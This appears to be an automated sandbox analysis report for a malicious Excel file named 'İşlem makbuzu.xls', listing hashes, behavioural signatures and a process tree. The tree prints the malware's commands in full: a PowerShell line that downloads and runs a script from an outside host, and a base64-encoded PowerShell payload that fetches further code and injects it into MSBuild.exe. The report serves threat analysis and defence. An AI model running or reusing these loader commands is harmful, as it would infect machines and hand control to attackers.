Overview

overview

10

Static

static

8

İşlem makbuzu.xls

windows7_x64

10

İşlem makbuzu.xls

windows10_x64

10

Analysis

  • max time kernel
    140s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    14/07/2020, 14:07

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General

  • Target

    İşlem makbuzu.xls

  • Size

    1.2MB

  • MD5

    e1ad40565ca903516bd05ba7fda11572

  • SHA1

    37da3e979b21cf1cfce1caf621e87e4976d85c39

  • SHA256

    bc931d7664aeaef451ee7a596031259b24fc48772e624e2d7bf0e18c094551ef

  • SHA512

    ac66861c96ee0608e4a931121f0edf9bd89937998d0899711f4385c8a33b0b6535643f3000da063bd8cfdd6c1f5826a7e632ca00085e3fdbd73b25622da4b4b4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://ahjuric.si/Code.txt

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\İşlem makbuzu.xls"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Enumerates system info in registry
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://ahjuric.si/Code.txt')
      2⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:2112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQAIAA9ACAAKAAnAHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACcALQBmACcAZABTAHQAJwAsACcAcgBpAG4AJwAsABwgYABEAGAAbwBgAHcAbgBgAGwAYABvAGEAHSAsACcAZwAnACkAOwBbAHYAbwBpAGQAXQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjACcAKQA7ACQAZgBqAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHIAbgBwAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHAAbABkAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:3832

Network

        MITRE ATT&CK Enterprise v6

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